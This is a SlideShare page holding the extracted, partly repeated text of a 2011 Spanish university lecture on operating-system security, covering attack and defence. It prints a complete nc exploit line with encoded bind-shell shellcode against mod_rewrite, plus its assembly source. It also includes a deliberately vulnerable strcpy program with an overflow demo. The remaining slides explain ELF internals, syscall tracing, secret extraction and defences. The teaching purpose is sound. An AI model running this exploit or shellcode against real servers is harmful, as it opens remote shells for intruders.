Flows: Mejores Prácticas y Nuevos Features
 
Second Life, informe de actividad del maestro Tapia
Second Life, informe de actividad del maestro TapiaSecond Life, informe de actividad del maestro Tapia
Second Life, informe de actividad del maestro Tapia
 
Infografia TCP/IP (Transmission Control Protocol/Internet Protocol)
Infografia TCP/IP (Transmission Control Protocol/Internet Protocol)Infografia TCP/IP (Transmission Control Protocol/Internet Protocol)
Infografia TCP/IP (Transmission Control Protocol/Internet Protocol)
 
Nuevos tiempos, nuevos espacios.docxdsdsad
Nuevos tiempos, nuevos espacios.docxdsdsadNuevos tiempos, nuevos espacios.docxdsdsad
Nuevos tiempos, nuevos espacios.docxdsdsad
 
CURSO CAMARAS DE SEGURIDAD 2023 FINAL .pdf
CURSO CAMARAS DE SEGURIDAD 2023 FINAL .pdfCURSO CAMARAS DE SEGURIDAD 2023 FINAL .pdf
CURSO CAMARAS DE SEGURIDAD 2023 FINAL .pdf
 
La Inteligencia Artificial en la actualidad.docx
La Inteligencia Artificial en la actualidad.docxLa Inteligencia Artificial en la actualidad.docx
La Inteligencia Artificial en la actualidad.docx
 
El uso de las TIC en la vida cotidiana.pptx
El uso de las TIC en la vida cotidiana.pptxEl uso de las TIC en la vida cotidiana.pptx
El uso de las TIC en la vida cotidiana.pptx
 
REVISTA TECNOLOGICA PARA EL DESARROLLO HUMANO
REVISTA TECNOLOGICA PARA EL DESARROLLO HUMANOREVISTA TECNOLOGICA PARA EL DESARROLLO HUMANO
REVISTA TECNOLOGICA PARA EL DESARROLLO HUMANO
 
Herramientas para los abogados, 3 herramientas
Herramientas para los abogados, 3 herramientasHerramientas para los abogados, 3 herramientas
Herramientas para los abogados, 3 herramientas
 
MONOGRAFIA memoria RAM.docx trabajo DE TECNOLOGIA
MONOGRAFIA memoria RAM.docx trabajo DE TECNOLOGIAMONOGRAFIA memoria RAM.docx trabajo DE TECNOLOGIA
MONOGRAFIA memoria RAM.docx trabajo DE TECNOLOGIA
 
INFORMATICA Y TECNOLOGIA
INFORMATICA Y TECNOLOGIAINFORMATICA Y TECNOLOGIA
INFORMATICA Y TECNOLOGIA
 
Slideshare: definiciòn, registrarse, presentaciones, ventajas y desventajas
Slideshare: definiciòn, registrarse, presentaciones, ventajas y desventajasSlideshare: definiciòn, registrarse, presentaciones, ventajas y desventajas
Slideshare: definiciòn, registrarse, presentaciones, ventajas y desventajas
 
Plantilla carrier y tecnologia de TIGO.pptx
Plantilla carrier y tecnologia de TIGO.pptxPlantilla carrier y tecnologia de TIGO.pptx
Plantilla carrier y tecnologia de TIGO.pptx
 
625204013-64-Camino-a-----La-Lectura.pdf
625204013-64-Camino-a-----La-Lectura.pdf625204013-64-Camino-a-----La-Lectura.pdf
625204013-64-Camino-a-----La-Lectura.pdf
 
El uso de las TIC's en la vida cotidiana
El uso de las TIC's en la vida cotidianaEl uso de las TIC's en la vida cotidiana
El uso de las TIC's en la vida cotidiana
 
Todo sobre la tarjeta de video (Bienvenidos a mi blog personal)
Todo sobre la tarjeta de video (Bienvenidos a mi blog personal)Todo sobre la tarjeta de video (Bienvenidos a mi blog personal)
Todo sobre la tarjeta de video (Bienvenidos a mi blog personal)
 
Inteligencia Artificial
Inteligencia ArtificialInteligencia Artificial
Inteligencia Artificial
 
Presentación de Tic en educación y sobre blogger
Presentación de Tic en educación y sobre bloggerPresentación de Tic en educación y sobre blogger
Presentación de Tic en educación y sobre blogger
 
edublogs info.docx asdasfasfsawqrdqwfqwfqwfq
edublogs info.docx asdasfasfsawqrdqwfqwfqwfqedublogs info.docx asdasfasfsawqrdqwfqwfqwfq
edublogs info.docx asdasfasfsawqrdqwfqwfqwfq
 
trabajo práctico kuikikiikkidfsmdklfskdnfklsdnfknsdk
trabajo práctico kuikikiikkidfsmdklfskdnfklsdnfknsdktrabajo práctico kuikikiikkidfsmdklfskdnfklsdnfknsdk
trabajo práctico kuikikiikkidfsmdklfskdnfklsdnfknsdk
 

Seguridad so pi_2011

  • 1. Seguridad en Sistemas Operativos Ataque y Defensa Jacobo Avariento Gimeno jacobo@sofistic.net 15 de junio de 2011 Universitat Jaume I
  • 2.
  • 3. 1 Intro 2 Breve repaso al S.O. GNU/Linux Procesos Ficheros ELF Permisos y privilegios Memoria Virtual Rutina de llamada a funci´on 3 Ataques a ficheros ejecutables Llamadas al sistema Accediendo a la memoria 4 Desbordamientos de pila Introducci´on Entendiendo la t´ecnica Explotando la t´ecnica Defensa 5 Desbordamientos de enteros 6 Seguridad f´ısica
  • 4. Temario Intro Breve repaso al S.O. GNU/Linux Ataques a ficheros ejecutables Desbordamientos de pila Desbordamientos de enteros Seguridad f´ısica Vulnerabilidad, Exploit, POC echo -ne "GET /kung/ldap://localhost/‘perl -e ’print "%90"x128’‘%89%e6 %31%c0%31%db%89%f1%b0%02%89%06%b0%01%89%46%04%b0%06%89%46%08%b0%66%b3 %01%cd%80%89%06%b0%02%66%89%46%0c%b0%77%66%89%46%0e%8d%46%0c%89%46%04 %31%c0%89%46%10%b0%10%89%46%08%b0%66%b3%02%cd%80%b0%01%89%46%04%b0%66 %b3%04%cd%80%31%c0%89%46%04%89%46%08%b0%66%b3%05%cd%80%88%c3%b0%3f%31 %c9%cd%80%b0%3f%b1%01%cd%80%b0%3f%b1%02%cd%80%b8%23%62%69%6e%89%06%b8 %23%73%68%23%89%46%04%31%c0%88%46%07%b0%30%2c%01%88%46%04%88%06%89%76 %08%31%c0%89%46%0c%b0%0b%89%f3%8d%4e%08%8d%56%0c%cd%80%31%c0%b0%01%31%db %cd%80%3FC%3FC%3FCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCC %77%ae%34%08CCCCCCCCCCCCCCCCCCCCCCCCCCC%3FC%3F HTTP/1.1rn Host: $hostrnrn" | nc $host 80 Source: http://ciberjacobo.com/sec/mod rewrite.html Jacobo Avariento Seguridad en Sistemas Operativos
  • 5. Temario Intro Breve repaso al S.O. GNU/Linux Ataques a ficheros ejecutables Desbordamientos de pila Desbordamientos de enteros Seguridad f´ısica Code .section .text .globl _start _start: mov %esp,%esi xorl %eax,%eax xorl %ebx,%ebx movl %esi,%ecx Code cont’d movl %eax,(%esi) movb $0x2,%al movw %ax,0xc(%esi) movb $0x77,%al # 0x77 = port 30464 movw %ax,0xe(%esi) leal 0xc(%esi),%eax movl %eax,0x4(%esi) xorl %eax,%eax movl %eax,0x10(%esi) movb $0x10,%al movl %eax,0x8(%esi) movb $0x66,%al movb $0x2,%bl int $0x80 movb $0x1,%al movl %eax,0x4(%esi) movb $0x66,%al movb $0x4,%bl int $0x80 xorl %eax,%eax movl %eax,0x4(%esi) movl %eax,0x8(%esi) movb $0x66,%al movb $0x5,%bl int $0x80 movb %al,%bl movb $0x3f,%al xorl %ecx,%ecxJacobo Avariento Seguridad en Sistemas Operativos
  • 6. Temario Intro Breve repaso al S.O. GNU/Linux Ataques a ficheros ejecutables Desbordamientos de pila Desbordamientos de enteros Seguridad f´ısica Disclosure timeline & jargon 1 Eureka! 2 Notificar + POC 3 Solucionar, release patch, actualizar 4 Publicar vulnerabilidad/exploit/POC (bugtraq) Cuando NO: 0-day / exploit-in-the-wild Jacobo Avariento Seguridad en Sistemas Operativos
  • 7. Temario Intro Breve repaso al S.O. GNU/Linux Ataques a ficheros ejecutables Desbordamientos de pila Desbordamientos de enteros Seguridad f´ısica Disclosure timeline & jargon 1 Eureka! 2 Notificar + POC 3 Solucionar, release patch, actualizar 4 Publicar vulnerabilidad/exploit/POC (bugtraq) Cuando NO: 0-day / exploit-in-the-wild Jacobo Avariento Seguridad en Sistemas Operativos
  • 8. Temario Intro Breve repaso al S.O. GNU/Linux Ataques a ficheros ejecutables Desbordamientos de pila Desbordamientos de enteros Seguridad f´ısica Disclosure timeline & jargon 1 Eureka! 2 Notificar + POC 3 Solucionar, release patch, actualizar 4 Publicar vulnerabilidad/exploit/POC (bugtraq) Cuando NO: 0-day / exploit-in-the-wild Jacobo Avariento Seguridad en Sistemas Operativos
  • 9. Temario Intro Breve repaso al S.O. GNU/Linux Ataques a ficheros ejecutables Desbordamientos de pila Desbordamientos de enteros Seguridad f´ısica Disclosure timeline & jargon 1 Eureka! 2 Notificar + POC 3 Solucionar, release patch, actualizar 4 Publicar vulnerabilidad/exploit/POC (bugtraq) Cuando NO: 0-day / exploit-in-the-wild Jacobo Avariento Seguridad en Sistemas Operativos
  • 10. Temario Intro Breve repaso al S.O. GNU/Linux Ataques a ficheros ejecutables Desbordamientos de pila Desbordamientos de enteros Seguridad f´ısica Disclosure timeline & jargon 1 Eureka! 2 Notificar + POC 3 Solucionar, release patch, actualizar 4 Publicar vulnerabilidad/exploit/POC (bugtraq) Cuando NO: 0-day / exploit-in-the-wild Jacobo Avariento Seguridad en Sistemas Operativos
  • 11. Temario Intro Breve repaso al S.O. GNU/Linux Ataques a ficheros ejecutables Desbordamientos de pila Desbordamientos de enteros Seguridad f´ısica Disclosure timeline & jargon 1 Eureka! 2 Notificar + POC 3 Solucionar, release patch, actualizar 4 Publicar vulnerabilidad/exploit/POC (bugtraq) Cuando NO: 0-day / exploit-in-the-wild Jacobo Avariento Seguridad en Sistemas Operativos
  • 12. Temario Intro Breve repaso al S.O. GNU/Linux Ataques a ficheros ejecutables Desbordamientos de pila Desbordamientos de enteros Seguridad f´ısica Procesos Ficheros ELF Permisos y privilegios Memoria Virtual Rutina de llamada a funci´on Breve repaso al S.O. GNU/Linux Jacobo Avariento Seguridad en Sistemas Operativos
  • 13. Temario Intro Breve repaso al S.O. GNU/Linux Ataques a ficheros ejecutables Desbordamientos de pila Desbordamientos de enteros Seguridad f´ısica Procesos Ficheros ELF Permisos y privilegios Memoria Virtual Rutina de llamada a funci´on Intro Proceso: Programa en memoria Programas en GNU/Linux: Formato ELF ELF: Executable and Linking Format Tipos: Est´atico (gcc -static), librer´ıa din´amica (gcc -shared), core, fichero objeto (gcc -c), fichero ejecutable (gcc -o), . . . Jacobo Avariento Seguridad en Sistemas Operativos
  • 14. Temario Intro Breve repaso al S.O. GNU/Linux Ataques a ficheros ejecutables Desbordamientos de pila Desbordamientos de enteros Seguridad f´ısica Procesos Ficheros ELF Permisos y privilegios Memoria Virtual Rutina de llamada a funci´on Intro Proceso: Programa en memoria Programas en GNU/Linux: Formato ELF ELF: Executable and Linking Format Tipos: Est´atico (gcc -static), librer´ıa din´amica (gcc -shared), core, fichero objeto (gcc -c), fichero ejecutable (gcc -o), . . . Jacobo Avariento Seguridad en Sistemas Operativos
  • 15. Temario Intro Breve repaso al S.O. GNU/Linux Ataques a ficheros ejecutables Desbordamientos de pila Desbordamientos de enteros Seguridad f´ısica Procesos Ficheros ELF Permisos y privilegios Memoria Virtual Rutina de llamada a funci´on Intro Proceso: Programa en memoria Programas en GNU/Linux: Formato ELF ELF: Executable and Linking Format Tipos: Est´atico (gcc -static), librer´ıa din´amica (gcc -shared), core, fichero objeto (gcc -c), fichero ejecutable (gcc -o), . . . Jacobo Avariento Seguridad en Sistemas Operativos
  • 16. Temario Intro Breve repaso al S.O. GNU/Linux Ataques a ficheros ejecutables Desbordamientos de pila Desbordamientos de enteros Seguridad f´ısica Procesos Ficheros ELF Permisos y privilegios Memoria Virtual Rutina de llamada a funci´on Intro Proceso: Programa en memoria Programas en GNU/Linux: Formato ELF ELF: Executable and Linking Format Tipos: Est´atico (gcc -static), librer´ıa din´amica (gcc -shared), core, fichero objeto (gcc -c), fichero ejecutable (gcc -o), . . . Jacobo Avariento Seguridad en Sistemas Operativos
  • 17. Temario Intro Breve repaso al S.O. GNU/Linux Ataques a ficheros ejecutables Desbordamientos de pila Desbordamientos de enteros Seguridad f´ısica Procesos Ficheros ELF Permisos y privilegios Memoria Virtual Rutina de llamada a funci´on Secciones de un fichero ELF .text: C´odigo m´aquina .rel.text: “Relocated Text“ .data: Variables globales inicializadas .bss: Variables globales no inicializadas (“Block started by Symbol”) .rodata: Datos de solo lectura, por ej.: cadenas, constantes. . . .interp, .hash, .dynsym, .dynstr, .dynamic: Usados por el enlazador din´amico (“dynamic loader”) .plt: Tabla con las direcciones a las funciones de una librer´ıa din´amica .got: (“Global Offset Table“) Punteros a las variables globales Jacobo Avariento Seguridad en Sistemas Operativos
  • 18. Temario Intro Breve repaso al S.O. GNU/Linux Ataques a ficheros ejecutables Desbordamientos de pila Desbordamientos de enteros Seguridad f´ısica Procesos Ficheros ELF Permisos y privilegios Memoria Virtual Rutina de llamada a funci´on Secciones de un fichero ELF .text: C´odigo m´aquina .rel.text: “Relocated Text“ .data: Variables globales inicializadas .bss: Variables globales no inicializadas (“Block started by Symbol”) .rodata: Datos de solo lectura, por ej.: cadenas, constantes. . . .interp, .hash, .dynsym, .dynstr, .dynamic: Usados por el enlazador din´amico (“dynamic loader”) .plt: Tabla con las direcciones a las funciones de una librer´ıa din´amica .got: (“Global Offset Table“) Punteros a las variables globales Jacobo Avariento Seguridad en Sistemas Operativos
  • 19. Temario Intro Breve repaso al S.O. GNU/Linux Ataques a ficheros ejecutables Desbordamientos de pila Desbordamientos de enteros Seguridad f´ısica Procesos Ficheros ELF Permisos y privilegios Memoria Virtual Rutina de llamada a funci´on Secciones de un fichero ELF .text: C´odigo m´aquina .rel.text: “Relocated Text“ .data: Variables globales inicializadas .bss: Variables globales no inicializadas (“Block started by Symbol”) .rodata: Datos de solo lectura, por ej.: cadenas, constantes. . . .interp, .hash, .dynsym, .dynstr, .dynamic: Usados por el enlazador din´amico (“dynamic loader”) .plt: Tabla con las direcciones a las funciones de una librer´ıa din´amica .got: (“Global Offset Table“) Punteros a las variables globales Jacobo Avariento Seguridad en Sistemas Operativos
  • 20. Temario Intro Breve repaso al S.O. GNU/Linux Ataques a ficheros ejecutables Desbordamientos de pila Desbordamientos de enteros Seguridad f´ısica Procesos Ficheros ELF Permisos y privilegios Memoria Virtual Rutina de llamada a funci´on Herramientas de an´alisis $ /usr/bin/readelf -S programa Muestra las secciones Section Headers: [Nr] Name Type Addr Off Size ES Flg Lk Inf Al [ 0] NULL 00000000 000000 000000 00 0 0 0 [ 1] .interp PROGBITS 08048134 000134 000013 00 A 0 0 1 ... $ /usr/sbin/readelf -r programa Muestra la GOT $ cat /proc/< PID >/maps 08048000-080cb000 r-xp 00000000 08:04 32708 /bin/bash 080cb000-080ce000 rwxp 00083000 08:04 32708 /bin/bash 080ce000-080d4000 rwxp 080ce000 00:00 0 087be000-08821000 rwxp 087be000 00:00 0 [heap] ... Jacobo Avariento Seguridad en Sistemas Operativos
  • 21. Temario Intro Breve repaso al S.O. GNU/Linux Ataques a ficheros ejecutables Desbordamientos de pila Desbordamientos de enteros Seguridad f´ısica Procesos Ficheros ELF Permisos y privilegios Memoria Virtual Rutina de llamada a funci´on Herramientas de an´alisis $ /usr/bin/readelf -S programa Muestra las secciones Section Headers: [Nr] Name Type Addr Off Size ES Flg Lk Inf Al [ 0] NULL 00000000 000000 000000 00 0 0 0 [ 1] .interp PROGBITS 08048134 000134 000013 00 A 0 0 1 ... $ /usr/sbin/readelf -r programa Muestra la GOT $ cat /proc/< PID >/maps 08048000-080cb000 r-xp 00000000 08:04 32708 /bin/bash 080cb000-080ce000 rwxp 00083000 08:04 32708 /bin/bash 080ce000-080d4000 rwxp 080ce000 00:00 0 087be000-08821000 rwxp 087be000 00:00 0 [heap] ... Jacobo Avariento Seguridad en Sistemas Operativos
  • 22. Temario Intro Breve repaso al S.O. GNU/Linux Ataques a ficheros ejecutables Desbordamientos de pila Desbordamientos de enteros Seguridad f´ısica Procesos Ficheros ELF Permisos y privilegios Memoria Virtual Rutina de llamada a funci´on Herramientas de an´alisis $ /usr/bin/readelf -S programa Muestra las secciones Section Headers: [Nr] Name Type Addr Off Size ES Flg Lk Inf Al [ 0] NULL 00000000 000000 000000 00 0 0 0 [ 1] .interp PROGBITS 08048134 000134 000013 00 A 0 0 1 ... $ /usr/sbin/readelf -r programa Muestra la GOT $ cat /proc/< PID >/maps 08048000-080cb000 r-xp 00000000 08:04 32708 /bin/bash 080cb000-080ce000 rwxp 00083000 08:04 32708 /bin/bash 080ce000-080d4000 rwxp 080ce000 00:00 0 087be000-08821000 rwxp 087be000 00:00 0 [heap] ... Jacobo Avariento Seguridad en Sistemas Operativos
  • 23. Temario Intro Breve repaso al S.O. GNU/Linux Ataques a ficheros ejecutables Desbordamientos de pila Desbordamientos de enteros Seguridad f´ısica Procesos Ficheros ELF Permisos y privilegios Memoria Virtual Rutina de llamada a funci´on Permisos en ficheros $ ls -la /bin/bash -rwxr-xr-x 1 root root 549188 28. Jan 20:35 /bin/bash Opciones: r: read w: write x: eXecution t: sTicky bit s: Setuid Jacobo Avariento Seguridad en Sistemas Operativos
  • 24. Temario Intro Breve repaso al S.O. GNU/Linux Ataques a ficheros ejecutables Desbordamientos de pila Desbordamientos de enteros Seguridad f´ısica Procesos Ficheros ELF Permisos y privilegios Memoria Virtual Rutina de llamada a funci´on Permisos en ficheros $ ls -la /bin/bash -rwxr-xr-x 1 root root 549188 28. Jan 20:35 /bin/bash Opciones: r: read w: write x: eXecution t: sTicky bit s: Setuid Jacobo Avariento Seguridad en Sistemas Operativos
  • 25. Temario Intro Breve repaso al S.O. GNU/Linux Ataques a ficheros ejecutables Desbordamientos de pila Desbordamientos de enteros Seguridad f´ısica Procesos Ficheros ELF Permisos y privilegios Memoria Virtual Rutina de llamada a funci´on Privilegios de ejecuci´on RUID: “Real User ID“. getuid() EUID: “Effective User ID“. geteuid() -rwsr-xr-x 1 root root 31020 4. Okt 2008 /bin/ping Jacobo Avariento Seguridad en Sistemas Operativos
  • 26. Temario Intro Breve repaso al S.O. GNU/Linux Ataques a ficheros ejecutables Desbordamientos de pila Desbordamientos de enteros Seguridad f´ısica Procesos Ficheros ELF Permisos y privilegios Memoria Virtual Rutina de llamada a funci´on Espacio de Memoria Virtual de un proceso Jacobo Avariento Seguridad en Sistemas Operativos
  • 27. Temario Intro Breve repaso al S.O. GNU/Linux Ataques a ficheros ejecutables Desbordamientos de pila Desbordamientos de enteros Seguridad f´ısica Procesos Ficheros ELF Permisos y privilegios Memoria Virtual Rutina de llamada a funci´on Jacobo Avariento Seguridad en Sistemas Operativos
  • 28. Temario Intro Breve repaso al S.O. GNU/Linux Ataques a ficheros ejecutables Desbordamientos de pila Desbordamientos de enteros Seguridad f´ısica Procesos Ficheros ELF Permisos y privilegios Memoria Virtual Rutina de llamada a funci´on Disposici´on de la pila (“Stack Layout“) Jacobo Avariento Seguridad en Sistemas Operativos
  • 29. Temario Intro Breve repaso al S.O. GNU/Linux Ataques a ficheros ejecutables Desbordamientos de pila Desbordamientos de enteros Seguridad f´ısica Procesos Ficheros ELF Permisos y privilegios Memoria Virtual Rutina de llamada a funci´on Jacobo Avariento Seguridad en Sistemas Operativos
  • 30. Temario Intro Breve repaso al S.O. GNU/Linux Ataques a ficheros ejecutables Desbordamientos de pila Desbordamientos de enteros Seguridad f´ısica Procesos Ficheros ELF Permisos y privilegios Memoria Virtual Rutina de llamada a funci´on Bloque de activaci´on de la subrutina C´odigo ensamblador (”Caller”) e8 e0 fe ff ff call 8048350 <printf@plt> C´odigo ensamblador (“Callee“) 55 push %ebp 89 e5 mov %esp,%ebp 83 ec 04 sub $0x4,%esp Jacobo Avariento Seguridad en Sistemas Operativos
  • 31. Temario Intro Breve repaso al S.O. GNU/Linux Ataques a ficheros ejecutables Desbordamientos de pila Desbordamientos de enteros Seguridad f´ısica Procesos Ficheros ELF Permisos y privilegios Memoria Virtual Rutina de llamada a funci´on Bloque de activaci´on de la subrutina C´odigo ensamblador (”Caller”) e8 e0 fe ff ff call 8048350 <printf@plt> C´odigo ensamblador (“Callee“) 55 push %ebp 89 e5 mov %esp,%ebp 83 ec 04 sub $0x4,%esp Jacobo Avariento Seguridad en Sistemas Operativos
  • 32. Temario Intro Breve repaso al S.O. GNU/Linux Ataques a ficheros ejecutables Desbordamientos de pila Desbordamientos de enteros Seguridad f´ısica Procesos Ficheros ELF Permisos y privilegios Memoria Virtual Rutina de llamada a funci´on Devolviendo el control al programa... C´odigo ensamblador (”Caller”) e8 e0 fe ff ff call 8048350 <printf@plt> c9 leave c3 ret Jacobo Avariento Seguridad en Sistemas Operativos
  • 33. Temario Intro Breve repaso al S.O. GNU/Linux Ataques a ficheros ejecutables Desbordamientos de pila Desbordamientos de enteros Seguridad f´ısica Llamadas al sistema Accediendo a la memoria Ataques a ficheros ejecutables Jacobo Avariento Seguridad en Sistemas Operativos
  • 34. Temario Intro Breve repaso al S.O. GNU/Linux Ataques a ficheros ejecutables Desbordamientos de pila Desbordamientos de enteros Seguridad f´ısica Llamadas al sistema Accediendo a la memoria Interceptando llamadas al sistema ltrace Intercepta llamadas a librer´ıas din´amicas ejecutadas por el proceso $ ltrace -e open ./syscall hijacking open("/tmp/pass", 0, 026773603300) = -1 +++ exited (status 0) +++ strace Intercepta llamadas del sistema y se˜nales de un proceso $ strace -e trace=open ./syscall hijacking open("/etc/ld.so.cache", O_RDONLY) = 3 open("/lib/libc.so.6", O_RDONLY) = 3 open("/tmp/pass", O_RDONLY) = -1 ENOENT (No such file or directory) Jacobo Avariento Seguridad en Sistemas Operativos
  • 35. Temario Intro Breve repaso al S.O. GNU/Linux Ataques a ficheros ejecutables Desbordamientos de pila Desbordamientos de enteros Seguridad f´ısica Llamadas al sistema Accediendo a la memoria Interceptando llamadas al sistema ltrace Intercepta llamadas a librer´ıas din´amicas ejecutadas por el proceso $ ltrace -e open ./syscall hijacking open("/tmp/pass", 0, 026773603300) = -1 +++ exited (status 0) +++ strace Intercepta llamadas del sistema y se˜nales de un proceso $ strace -e trace=open ./syscall hijacking open("/etc/ld.so.cache", O_RDONLY) = 3 open("/lib/libc.so.6", O_RDONLY) = 3 open("/tmp/pass", O_RDONLY) = -1 ENOENT (No such file or directory) Jacobo Avariento Seguridad en Sistemas Operativos
  • 36. Temario Intro Breve repaso al S.O. GNU/Linux Ataques a ficheros ejecutables Desbordamientos de pila Desbordamientos de enteros Seguridad f´ısica Llamadas al sistema Accediendo a la memoria La memoria es insegura Cualquiera puede acceder a ella (ej.: Xing DVD Player) No debe contener contrase˜nas, llaves, ni material sensible Muy f´acil de interceptar, por ejemplo, con strings o gdb Jacobo Avariento Seguridad en Sistemas Operativos
  • 37. Temario Intro Breve repaso al S.O. GNU/Linux Ataques a ficheros ejecutables Desbordamientos de pila Desbordamientos de enteros Seguridad f´ısica Llamadas al sistema Accediendo a la memoria La memoria es insegura Cualquiera puede acceder a ella (ej.: Xing DVD Player) No debe contener contrase˜nas, llaves, ni material sensible Muy f´acil de interceptar, por ejemplo, con strings o gdb Jacobo Avariento Seguridad en Sistemas Operativos
  • 38. Temario Intro Breve repaso al S.O. GNU/Linux Ataques a ficheros ejecutables Desbordamientos de pila Desbordamientos de enteros Seguridad f´ısica Llamadas al sistema Accediendo a la memoria La memoria es insegura Cualquiera puede acceder a ella (ej.: Xing DVD Player) No debe contener contrase˜nas, llaves, ni material sensible Muy f´acil de interceptar, por ejemplo, con strings o gdb Jacobo Avariento Seguridad en Sistemas Operativos
  • 39. Temario Intro Breve repaso al S.O. GNU/Linux Ataques a ficheros ejecutables Desbordamientos de pila Desbordamientos de enteros Seguridad f´ısica Llamadas al sistema Accediendo a la memoria La memoria es insegura Ejemplo (Fichero get pass.c) char pass[]= "XXXXXXX"; int main () { exit(0); } Ataque $ strings ./get pass /lib/ld-linux.so.2 __gmon_start__ libc.so.6 _IO_stdin_used exit __libc_start_main GLIBC_2.0 PTRh [^_] password ultra secreto Jacobo Avariento Seguridad en Sistemas Operativos
  • 40. Temario Intro Breve repaso al S.O. GNU/Linux Ataques a ficheros ejecutables Desbordamientos de pila Desbordamientos de enteros Seguridad f´ısica Llamadas al sistema Accediendo a la memoria La memoria es insegura Ejemplo (Fichero get pass.c) char pass[]= "XXXXXXX"; int main () { exit(0); } Ataque $ strings ./get pass /lib/ld-linux.so.2 __gmon_start__ libc.so.6 _IO_stdin_used exit __libc_start_main GLIBC_2.0 PTRh [^_] password ultra secreto Jacobo Avariento Seguridad en Sistemas Operativos
  • 41. Temario Intro Breve repaso al S.O. GNU/Linux Ataques a ficheros ejecutables Desbordamientos de pila Desbordamientos de enteros Seguridad f´ısica Llamadas al sistema Accediendo a la memoria Defensa contra estos ataques Guardar la cadena de caracteres como: char cad[]= {’h’,’o’,’l’,’a’,’0’} Mezclar varias cadenas para obtener la cadena objetivo: char cad[] = ["pepito", "casita", "baston", "tris"]; /* 1) */ for (int i=0; i < 4; i++) printf("%c", cad[i][i]); /* 2) */ printf("%c%c%c%c%c", cad[2][1], cad[0][5], cad[3][0], ...); Criptograf´ıa: Vector de enteros + XOR, 3DES + guardando bien la contrase˜na, . . . GNU/Linux: mlock() / mprotect() Jacobo Avariento Seguridad en Sistemas Operativos
  • 42. Temario Intro Breve repaso al S.O. GNU/Linux Ataques a ficheros ejecutables Desbordamientos de pila Desbordamientos de enteros Seguridad f´ısica Llamadas al sistema Accediendo a la memoria Defensa contra estos ataques Guardar la cadena de caracteres como: char cad[]= {’h’,’o’,’l’,’a’,’0’} Mezclar varias cadenas para obtener la cadena objetivo: char cad[] = ["pepito", "casita", "baston", "tris"]; /* 1) */ for (int i=0; i < 4; i++) printf("%c", cad[i][i]); /* 2) */ printf("%c%c%c%c%c", cad[2][1], cad[0][5], cad[3][0], ...); Criptograf´ıa: Vector de enteros + XOR, 3DES + guardando bien la contrase˜na, . . . GNU/Linux: mlock() / mprotect() Jacobo Avariento Seguridad en Sistemas Operativos
  • 43. Temario Intro Breve repaso al S.O. GNU/Linux Ataques a ficheros ejecutables Desbordamientos de pila Desbordamientos de enteros Seguridad f´ısica Llamadas al sistema Accediendo a la memoria Defensa contra estos ataques Guardar la cadena de caracteres como: char cad[]= {’h’,’o’,’l’,’a’,’0’} Mezclar varias cadenas para obtener la cadena objetivo: char cad[] = ["pepito", "casita", "baston", "tris"]; /* 1) */ for (int i=0; i < 4; i++) printf("%c", cad[i][i]); /* 2) */ printf("%c%c%c%c%c", cad[2][1], cad[0][5], cad[3][0], ...); Criptograf´ıa: Vector de enteros + XOR, 3DES + guardando bien la contrase˜na, . . . GNU/Linux: mlock() / mprotect() Jacobo Avariento Seguridad en Sistemas Operativos
  • 44. Temario Intro Breve repaso al S.O. GNU/Linux Ataques a ficheros ejecutables Desbordamientos de pila Desbordamientos de enteros Seguridad f´ısica Llamadas al sistema Accediendo a la memoria Defensa contra estos ataques Guardar la cadena de caracteres como: char cad[]= {’h’,’o’,’l’,’a’,’0’} Mezclar varias cadenas para obtener la cadena objetivo: char cad[] = ["pepito", "casita", "baston", "tris"]; /* 1) */ for (int i=0; i < 4; i++) printf("%c", cad[i][i]); /* 2) */ printf("%c%c%c%c%c", cad[2][1], cad[0][5], cad[3][0], ...); Criptograf´ıa: Vector de enteros + XOR, 3DES + guardando bien la contrase˜na, . . . GNU/Linux: mlock() / mprotect() Jacobo Avariento Seguridad en Sistemas Operativos
  • 45. Temario Intro Breve repaso al S.O. GNU/Linux Ataques a ficheros ejecutables Desbordamientos de pila Desbordamientos de enteros Seguridad f´ısica Introducci´on Entendiendo la t´ecnica Explotando la t´ecnica Defensa Desbordamientos de pila ”Stack Overflow“ Jacobo Avariento Seguridad en Sistemas Operativos
  • 46. Temario Intro Breve repaso al S.O. GNU/Linux Ataques a ficheros ejecutables Desbordamientos de pila Desbordamientos de enteros Seguridad f´ısica Introducci´on Entendiendo la t´ecnica Explotando la t´ecnica Defensa Programa vulnerable Fichero bufo2.c void func(char *nom) { char nombre[128]; strcpy(nombre, nom); printf("Hola %sn", nombre); printf("%Xn", &nombre); } int main(int argc, char* argv[]) { func(argv[1]); exit(0); } Demo $ ./bufo2 $(perl -e ”print ’A’ x 8196”) Segmentation fault (core dumped) Jacobo Avariento Seguridad en Sistemas Operativos
  • 47. Temario Intro Breve repaso al S.O. GNU/Linux Ataques a ficheros ejecutables Desbordamientos de pila Desbordamientos de enteros Seguridad f´ısica Introducci´on Entendiendo la t´ecnica Explotando la t´ecnica Defensa Programa vulnerable Fichero bufo2.c void func(char *nom) { char nombre[128]; strcpy(nombre, nom); printf("Hola %sn", nombre); printf("%Xn", &nombre); } int main(int argc, char* argv[]) { func(argv[1]); exit(0); } Demo $ ./bufo2 $(perl -e ”print ’A’ x 8196”) Segmentation fault (core dumped) Jacobo Avariento Seguridad en Sistemas Operativos
  • 48. Temario Intro Breve repaso al S.O. GNU/Linux Ataques a ficheros ejecutables Desbordamientos de pila Desbordamientos de enteros Seguridad f´ısica Introducci´on Entendiendo la t´ecnica Explotando la t´ecnica Defensa Por qu´e da ”Segmentation Fault”? Jacobo Avariento Seguridad en Sistemas Operativos
  • 49. Temario Intro Breve repaso al S.O. GNU/Linux Ataques a ficheros ejecutables Desbordamientos de pila Desbordamientos de enteros Seguridad f´ısica Introducci´on Entendiendo la t´ecnica Explotando la t´ecnica Defensa Parte I: Aprovecharse de la vulnerabilidad Jacobo Avariento Seguridad en Sistemas Operativos
  • 50. Temario Intro Breve repaso al S.O. GNU/Linux Ataques a ficheros ejecutables Desbordamientos de pila Desbordamientos de enteros Seguridad f´ısica Introducci´on Entendiendo la t´ecnica Explotando la t´ecnica Defensa Parte II: Shellcodes C´odigo m´aquina que ejecuta c´odigo hostil. Ej: /bin/bash Explotaci´on local Shellcode: Ejecuta una shell Explotaci´on remota Bindshell Explotaci´on remota Reverse shell Jacobo Avariento Seguridad en Sistemas Operativos
